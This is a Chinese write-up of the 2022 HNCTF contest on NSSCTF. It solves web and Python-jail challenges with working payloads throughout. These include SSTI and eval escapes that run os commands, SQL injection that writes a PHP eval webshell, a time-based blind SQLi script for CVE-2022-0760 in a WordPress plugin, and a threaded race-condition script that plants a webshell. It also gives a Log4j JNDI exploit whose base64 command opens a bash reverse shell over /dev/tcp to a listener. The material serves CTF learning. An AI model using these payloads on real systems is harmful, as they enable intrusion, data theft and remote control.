2022HNCTF(自由赛道)

平台:NSSCTF

部分题解

第一次做jail

[Week1]calc_jail_beginner(JAIL)

1
It's an great way to learn an python jail from these challenge! Let's play it. Author:crazyman

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

nc连接靶机

image-20221010203748977

无过滤

1
__import__('os').system('cat /flag')

import 这个内置方法,通过这个方法导入 os 模块,然后再用 os 模块调用 system 方法

image-20221010215123218

[Week1]python2 input(JAIL)

1
().__class__.__bases__[0].__subclasses__()[40]('./flag').read()

image-20221003200815680

[Week1]Challenge__rce

1
hint:灵感来源于ctfshow吃瓜杯Y4大佬的题

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 130) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}

自增rce,网上的帖子很多,大多都是转载P神的。

没啥新东西,挺狗的(bushi),就是死命压缩代码量。

思路就是拼接出chr,用chr直接构造字符,其实一开始思路就对了,但是代码那会儿才压缩到一百五,还以为思路错了。

payload:

1
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);($$_{1})($$_{2});

image-20221010201512706

正好一百二,极限。

[WEEK2]easy_include

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//WEB手要懂得搜索

if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

php都过滤了,用日志包含,nginx的服务器

image-20221010202430002

在UA头写马就行了

image-20221010203000668

image-20221010203009821

[WEEK2]ez_ssrf

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}

flag.php

1
🥰localhost plz🥰

一开始没打过这种fsockopen()的SSRF,以为fwrite可以用来直接写webshell <( ̄3 ̄)>

但是其实是向打开的连接通道发送信息的(不是直接向主机发送)

因此可以构造

1
GET /flag.php HTTP/1.1 HOST:127.0.0.1 Connection:Close

我是用代码拼接的

1
2
3
4
5
6
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "HOST:127.0.0.1\r\n";
$out .= "Connection:Close\r\n\r\n";
$out .= "\r\n";
echo base64_encode($out);

因为\r\n这样的换行符直接用编码工具不管用

这是失败的payload:

1
R0VUIC9mbGFnLnBocCBIVFRQLzEuMSBIT1NUOjEyNy4wLjAuMSBDb25uZWN0aW9uOkNsb3Nl

成功payload

1
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSE9TVDoxMjcuMC4wLjENCkNvbm5lY3Rpb246Q2xvc2UNCg0KDQo=

完整payload:

1
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSE9TVDoxMjcuMC4wLjENCkNvbm5lY3Rpb246Q2xvc2UNCg0KDQo=

等待时间比较久,是正常现象。

image-20221005234117645

[WEEK2]Canyource

经典无参数RCE

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>

获取当前目录文件名

1
?code=print_r(scandir(pos(localeconv())));

image-20221005234610920

读取flag

1
?code=readfile(next(array_reverse(scandir(getcwd()))));

image-20221005235138147

[WEEK2]easy_unser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php 
include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body{

private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";

}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);


if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>

就两个类 body 和unserializeorder

明显是用作入门,unserializeorder没有用,不是pop链。

需要绕过wakeup,hightlight_file可以触发伪协议,使用伪协议读取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
class body{

private $want="php://filter/read=convert.base64-encode/resource=f14g.php";
public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
}
$c=new body("php://filter/read=convert.base64-encode/resource=f14g.php");
echo urlencode(serialize($c));

?>

image-20221006001515137

1
2
3
PD9waHAKJGZsYWcgPSAiTlNTQ1RGe2JjYzFiNGYwLTJjYmItNDEyYy04YzUyLWVlODQwMGZiZDk0Nn0iOwo/Pg==

<?php $flag = "NSSCTF{bcc1b4f0-2cbb-412c-8c52-ee8400fbd946}"; ?>

[WEEK2]ez_SSTI

无过滤SSTI直接打

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

image-20221005235628951

[WEEK2]easy_sql

三种回显

1
2
3
4
5
6
Here is your want!
I am so handsome

姓名不存在,或账号密码错误

error

error应该是黑名单检测。

万能密码成功执行,闭合完成

1
id=11'/**/or'1'='1

先打个fuzz

过滤列表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Payload	Length
~ 525
! 525
@ 525
# 525
$ 525
% 525
^ 525
& 525
- 525
+ 525
525
-- 525
--+ 525
&& 525
!(<>) 525
and 525
not 525
sleep 525
order 525
is 525
distinct 525
information 525
handler 525
extractvalue 525
pg_sleep 525

可以联合查询也可以布尔盲注

1
2
3
id=0'/**/or/**/0/**/or/**/'

id=0'union/**/select/**/1,2,3;%00

image-20221006155546990

这里是前期的测试

1
2
3
4
5
6
7
8
9
id=0'/**/or/**/length(database())=3/**/or/**/'

id=0'/**/or/**/ascii(substr((select/**/group_concat(table_name)from/**/mysql.innodb_table_stats),1,1))<129/**/or/**/'

'/**/or/**/ascii(substr((select/**/group_concat(`1`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))>1;%00

id=0'union/**/select/**/1,2,group_concat(table_name)from/**/mysql.innodb_table_stats;%00

id=0'/**/union/**/select/**/1,2,(group_concat(`3`)/**/from/**/(select/**/1,2,3,4,5/**/union/**/select/**/*/**/from/**/flag)a);%00

查找出的数据

1
2
3
#database=ctf,ctftraining,ctftraining,ctftraining,mysql 
#version=10.4.13-MariaDB
#table_name=ccctttfff,flag,news,users,gtid_slave_pos

预期

一直查到flag表,发现好像没有数据,后来才发现是在另一个库

最终payload:

1
id=0'union/**/select/**/1,2,(select/**/group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a);%00

image-20221006162659238

曲折过程

谢天谢地mysql的读写权限没有关闭。

查看一下index.php

1
id=0'union/**/select/**/1,2,(select/**/load_file('/var/www/html/index.php'));%00

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if(!isset($_POST['id'])) exit();


$name=$_POST['id'];
$flag=1;

$db=mysqli_connect("localhost","root","123456","ctf");
if($db==false) exit("数据库连接失败!");

if($name=="") {
print("<p>请输入完整登录信息</p>");
}
else{
if(preg_match("/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|sleep|\~|\!|\@|\#|\\$|\%|\^|\+|\&|\-|\ /i", $name)){
die("error");
}
$query="select id,uname,infor from ccctttfff where id = '$name'";
#echo $query;
@$result=mysqli_query($db,$query);
print("<hr>");
while($data=@mysqli_fetch_assoc($result)){

$flag=0;
echo "Here is your want!<br>";
print($data['infor']);


}
if($flag){
print("<p>姓名不存在,或账号密码错误</p>");
}
}

?>

写入shell

1
0'union/**/select/**/1,2,0x3c3f70687020406576616c28245f4745545b315d293b3f3e/**/into/**/outfile/**/"/var/www/html/hah.php";%00

写一个去掉过滤的fake.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if(!isset($_POST['id'])) exit();


$name=$_POST['id'];
$flag=1;

$db=mysqli_connect("localhost","root","123456","ctf");
if($db==false) exit("数据库连接失败!");

if($name=="") {
print("<p>请输入完整登录信息</p>");
}
else{
$query="select id,uname,infor from ccctttfff where id = '$name'";
#echo $query;
@$result=mysqli_query($db,$query);
print("<hr>");
while($data=@mysqli_fetch_assoc($result)){

$flag=0;
echo "Here is your want!<br>";
print($data['infor']);


}
if($flag){
print("<p>姓名不存在,或账号密码错误</p>");
}
}

?>

然后写入/var/www/html即可,接着就可以没有过滤的sql注入了。

联合查询查,这里可以用information_schema了,可查列名

1
0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'#

后来发现flag表不在ctf库里

1
2
3
0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

id=0'union select 1,2,group_concat(flag) from ctftraining.flag#

image-20221006160938289

1
0'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#

image-20221006160950074

1
id=0'union select 1,2,group_concat(flag) from ctftraining.flag#

image-20221006163557013

总结

问题出在

1
id=0'union/**/select/**/1,2,group_concat(table_name)from/**/mysql.innodb_table_stats;%00

没有指定数据库,所以我下意识以为flag在ctf库内。

[WEEK2]ohmywordpress

image-20221010195959792

通过version.php得知

1
$wp_version = '6.0.2';

搜了一下,这是当前最新的版本,目前好像还没有爆出漏洞。所以问题大概率不出现在cms本身上,可能是在插件上。

查看wordpress\wp-content\plugins有哪些插件

image-20221010195343752

两个插件,akismet和simple-link-directory

1
2
akismet  4.2.4
simple-link-directory 7.7.1

akismet 当前版本好像没啥问题,只搜到一个3.1.5之前版本中存在跨站脚本漏洞。

凑巧的是simple-link-directory

image-20221010195715553

1
CVE(CAN) ID: CVE-2022-0760

简单链接目录 < 7.7.2 - 未经身份验证的 SQL 注入 WordPress 安全漏洞 (wpscan.com)

1
7.7.2 之前的简单链接目录 WordPress 插件在通过qcopd_upvote_action AJAX 操作(可用于未经身份验证和身份验证的用户)在 SQL 语句中使用post_id参数之前,不会对其进行验证和转义,从而导致未经身份验证的 SQL 注入

题目给出的版本在7.7.1,有文章明确提出最高危及到7.7.1,所以当前版本是存在SQL注入的。

这篇报告中给出了poc

1
curl 'http://example.com/wp-admin/admin-ajax.php' --data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)' 

接着咱们构造

1
2
GET:http://1.14.71.254:28785/wp-admin/admin-ajax.php
POST:action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)

image-20221010200102507

确实存在漏洞。

接着开始时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import time

burp0_url = "http://1.14.71.254:28785/wp-admin/admin-ajax.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "http://1.14.71.254:28432/wp-admin/admin-ajax.php", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://1.14.71.254:28432", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
result=""
dic=",abcdefghijklmnopqrstuvwxyz_{-1234567890}NSSCTF"


for i in range(1,150):
for j in dic:
payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(flag) from ctftraining.flag),%d,1))=%d),sleep(1),0))a)"%(i,ord(j))
#payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x637466747261696e696e67),%d,1))=%d),sleep(1),0))a)"%(i,ord(j))
#payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x637466747261696e696e67),%d,1))=%d),sleep(1),0))a)"%(i,ord(j))
#payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(schema_name) from information_schema.schemata),%d,1))=%d),sleep(1),0))a)"%(i,ord(j))
#payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x77705f7573657273),%d,1))=%d),sleep(1),0))a)"%(i,ord(j))
#payload="(SELECT 1 FROM (SELECT if((ascii(substr(version(),%d,1))=%d),sleep(1),0))a)"%(i,j)
#payload="(SELECT 1 FROM (SELECT if((length(database())=%d),sleep(1),1))hh)"%i
burp0_data = {"action": "qcopd_upvote_action", "post_id":payload}
t1=time.time()
re=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
time.sleep(0.1)
t2=time.time()
if t2-t1 > 1 :
result+=j
print(result)
break
#database:information_schema,mysql,ctftraining,
#version: "10.4.13-MariDB"
#flag,news,users
#table name:wp_commentmeta,wp_commenjs,wp_links,wp_options,wp_postmeta,wp_posts,wp_term_relationships,wp_term_taxonomy,wp_termmeta,wp_termsbwp_usermeta,wp_users
#column name:user_login,user_pass,user_nicename,bser_email,user_url,user_registered,user_activation_key,useq_status,display_name
#action=qcopd_upvote_action&post_id=(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>127),sleep(1),0))a)
#(SELECT 1 FROM (SELECT if((ascii(substr(database(),1,1))>32),sleep(1),0))a)
#(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>127),sleep(1),0))a)
#action=qcopd_upvote_action&post_id=(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x77705f7573657273),1,1))>32),sleep(1),0))a)
#NSSCTF{dd697eee-746a-4cd7-ae2e-bc6c1827ec08}
#NSSCTF{dd697eee-749a-4cd7-ae2e-bc6c1827ecs8}
#
#NSSCTF{dd697eee-749a-4cd7-ae2e-bc6c1827ec08}

[WEEK3]ssssti

1
2
3
GET:?name={{()[request.cookies.x1][request.cookies.x2][request.cookies.x3]()[127][request.cookies.x4][request.cookies.x5][request.cookies.x6][request.cookies.x7](request.cookies.x8)}}

Cookie: x1=__class__; x2=__base__; x3=__subclasses__; x4=__init__; x5=__globals__; x6=__builtins__; x7=eval; x8=__import__('os').popen('whoami').read()

image-20221019233832029

image-20221019233926186

[WEEK3]QAQ_1inclu4e

image-20221024120859858

include QAQ(参数),关键字过滤了

1
php  data . flag log

需要用到条件竞争,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# coding=utf-8
import io
import requests
import threading


sessid = 'HAha'#随意
data = {"cmd": "system('echo PD89ZXZhbCgkX1BPU1RbMF0pOw==|base64 -d >/var/www/html/hack.php');"}
url = "http://43.143.7.97:28409/"

class GlobalStatus:
RESULT = False

def write(session,Status):

while True:

if Status.RESULT:
break

f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'root';eval($_POST['cmd'])?>"},
files={'file': ('QAQ.txt', f)}, cookies={'PHPSESSID': sessid})

def read(session,Status):

while True:
resp = session.post(url+'?QAQ=/tmp/sess_' + sessid,
data=data)
if Status.RESULT:
break

if 'root' in resp.text:
print("[+]" + resp.text)
Status.RESULT = True
else:
print("----------retry--------")

if __name__ == "__main__":

InitStatus = GlobalStatus()

with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,InitStatus)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,InitStatus)).start()

运行就能成功写入一个shell

image-20221102121314161

[WEEK3]logjjjjlogjjjj

大名鼎鼎的log4j

一定要注意url编码,一定要注意url编码,一定要注意url编码!

还有VPS的端口一定要记得开放!

image-20221023235416646

点开是一个hello页面,url就提供了payload参数,直接在这打

使用工具在vps本地构建一个ldap服务,(这条命令后面的127.0.0.1不需要更改)

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx}|{base64,-d}|bash" -A 127.0.0.1

例子为(根据自己的VPS更改)

1
bash -i >& /dev/tcp/127.0.0.1/6666 0>&1

再起一个终端

1
nc -lvnp 2333

有给三个payload,一个一个试,最终选择

1
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):

传参

image-20221023235723911

image-20221023235200747

反弹shell也成功

image-20221023235232099

得到flag

image-20221023235248505

END

第四周就没写了,转场isctf了,这段时间打新生赛很多收获,基础巩固了不少

感谢NSS平台,感谢各个赛事主办方